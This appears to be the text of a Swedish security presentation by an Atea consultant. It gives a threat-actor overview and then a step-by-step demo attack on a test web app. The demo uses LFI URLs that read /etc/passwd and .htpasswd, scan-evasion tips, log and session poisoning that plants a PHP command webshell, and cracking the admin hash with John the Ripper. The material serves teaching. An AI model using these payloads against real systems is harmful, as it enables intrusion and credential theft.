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Om Atea 

•  NOK 15 miljarder i omsättning 
•  Marknadsledande IT-infrastrukturimplementatör 
•  72 orter inom Norden och Baltikum 
•  4 500 anställda 
•  2 200 konsulter & tekniker 
•  6 500 certifieringar 
•  23 000 kunder 

Tredje störst i Europa! 



•  Affärsansvarig säkerhet / IT-säkerhetsspecialist på Atea 
•  Jobbat som IT-säkerhetskonsult sedan 1998, bland annat för FBI, Microsoft, 

svenska myndigheter och svenskt rättsväsende. 
•  Utvecklare (IA-32 assembler, C/C++/C#, Python, Ruby, PHP, VB.NET, Java). 

Windows, Linux och BSD-miljö. 
–  Antimalwaremjukvaran Cassandra som skyddade datorn från trojaner och bakdörrar. 

Över 40 000 användare totalt, bl a US Air Force, FBI, NASA, UK Patent office m.fl. 
•  Bygger mjukvara, tar isär mjukvara 
–  Bank/Finans/Försäkring 
–  Myndigheter 
–  Känsliga bolag och inrättningar i Sverige och utomlands 

Om mig 
 



Cool kille 1999 







1997-1998 Security.nu 



Bubbel 



Winscanner 



Process handler för Windows 95 



Cassandra – Antimalware 



Cassandra – Antimalware 



Wireless PenKnife 



Världens första molnbaserade exploit 





1999 



2012 



Common vulnerabilities and Exposure 



Sårbarhetstrend 



Aktör Motivation 
Icke organiserad 
 
 

Äga information, tjäna personliga syften 
 

Organiserad 
 

Tjäna pengar, förmedla politiska 
budskap, konkurrera med jämbördiga 
 

Militär / underrättelsetjänst Sabotage. Kontroll över strategiskt 
viktig information. Information som 
skapar fördel i tider av fred eller 
konflikt. Sprida desinformation.  

Offensiva aktörer 



Organiserade 



Få betalt för virusinfektioner 



Militär aktör 



Organiserade parter 



Över 64 000 ip-adresser 



•  jj$ traceroute login.uib.no 
•  traceroute to loginb.uib.no (129.177.13.203), 64 hops max, 52 byte packets 
•   1  91.195.58.3 (91.195.58.3)  22.696 ms  19.024 ms  19.653 ms 
•   2  83.136.89.137 (83.136.89.137)  22.487 ms  20.623 ms  20.000 ms 
•   3  dk-uni.nordu.net (192.38.7.50)  22.648 ms  20.392 ms  21.956 ms 
•   4  stolav-gw2.uninett.no (109.105.102.26)  30.882 ms  30.356 ms  30.011 ms 
•   5  ifi2-gw.uninett.no (128.39.254.205)  44.357 ms  35.378 ms  33.993 ms 
•   6  bergen-gw.uninett.no (128.39.255.126)  39.349 ms  39.923 ms  42.068 ms 
•   7  uib-bt-gw.uib.no (158.37.1.190)  40.142 ms  39.230 ms  40.029 ms 
•   8  loginb.uib.no (129.177.13.203)  40.080 ms  49.724 ms  39.920 ms 

Traceroute 



•  Nmap scannar 1000 portar per default 
–  Lösning: -p eller –top-ports 

•  Mängden trafik kan trigga filtrering av vår IP (brandvägg/IDS/IPS) 
–  Möjliga lösningar:  

• Fördröjning mellan syn-paketen 
• Multipla interface (en0, en1, en2 etc under Mac OS) 
• Fragmentering (vissa system klarar inte att hantera detta) 
• Decoy-trafik 
•  I vissa fall: src port 

Utmaningar 



•  DNS 
–  Intressanta hostar har ofta DNS-namn 
–  Intressanta webbhostar länkar ibland till varandra 
–  Google indexerar ofta webbhostar 

Intressanta Hostar 





Access to Cisco Works 2000 



Access till maskin med Windows XP 
Professional 



LDAPinjektion 



Cracka htpasswd-lösenord 



•  När vi lyckas förändra exempelvis en PHP-sidas uppbyggnad genom att peka 
mot PHP-kod 
–  Tillåter man uploads av någon form? (profilbild, bifogade filer etc) 
–  Hur är LFI:n utformad, har vi frihet att t ex injicera php-filter? 

–  http://web/demo/index.php?template=/etc/passwd 
–  http://web/demo/index.php?template=/etc/passwd%00 
–  http://web/demo/index.php?template=/proc/self/status%00 

–  http://web/demo/index.php?template=php://filter/convert.base64-encode/resource=index.php%00 
–  http://web/demo/index.php?template=/tmp/sess_1d4bd392e0fab8d51d88b2fead6b152e%00 

Local file inclusion 



•  /proc/self/fd/n 
–  http://web/demo/index.php?template=/proc/self/fd/0%00 

•  http://web/demo/index.php?template=/var/log/apache2/access.log%00 
•  “…failed to open stream: Permission denied…” 

•  PHP-inject <?php passthru($_GET[jj]); ?> 
–   ~/Development/Python/b64e "<?php passthru(\$_GET[jj]);?>" 
PD9waHAgcGFzc3RocnUoJF9HRVRbampdKTs/Pg== 
 
jj$ ~/Development/Python/b64 PD9waHAgcGFzc3RocnUoJF9HRVRbampdKTs/Pg== 
<?php passthru($_GET[jj]);?> 

Log poisoning 



http://web/demo/index.php?pref=%3C?php%20phpinfo();?%3E&template=/tmp/
sess_1d4bd392e0fab8d51d88b2fead6b152e%00 

http://web/demo/index.php?pref=%3C?php%20system($_GET[jj]);%20?
%3E&jj=ls%20/etc&template=/tmp/sess_1d4bd392e0fab8d51d88b2fead6b152e
%00 

Avancerad cookie poisoning 





•  Lösenordsskyddad 
•  Vi vet hur strukturen ser ut 
–  /var/www/vtigercrm/demo/admin/index.php 

•  Vi kan ta reda på vart htpasswd-filen finns som skyddar katalogen 
–  /etc/apache2/apache2.conf 
–  /etc/apache2/ports.conf 
–  http://web/demo/index.php?template=/etc/apache2/apache2.conf%00 
–  http://web/demo/index.php?template=/etc/apache2/ports.conf%00 
–  http://web/demo/index.php?template=/etc/apache2/sites-enabled/000-default%00 
–  http://web/demo/index.php?template=/var/www/.htpasswd%00 

•  admin:.M97hktXXTRpA 
–  John the ripper, DES-krypto 
–  john --users=admin --wordlist=/root/Desktop/demo_pass.txt --format=des ~/Desktop/demohash.txt 

http://web/demo/admin/ 



Loaded 1 password hash (Traditional DES [128/128 BS SSE2]) 
mainzel          (admin) 
guesses: 1  time: 0:00:00:00 DONE (Tue Apr 24 18:45:14 2012)  c/s: 25600  
trying: rbc0625 - 638i8 
Use the "--show" option to display all of the cracked passwords reliably 
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jonathanj.com 
Twitter: areusecure 
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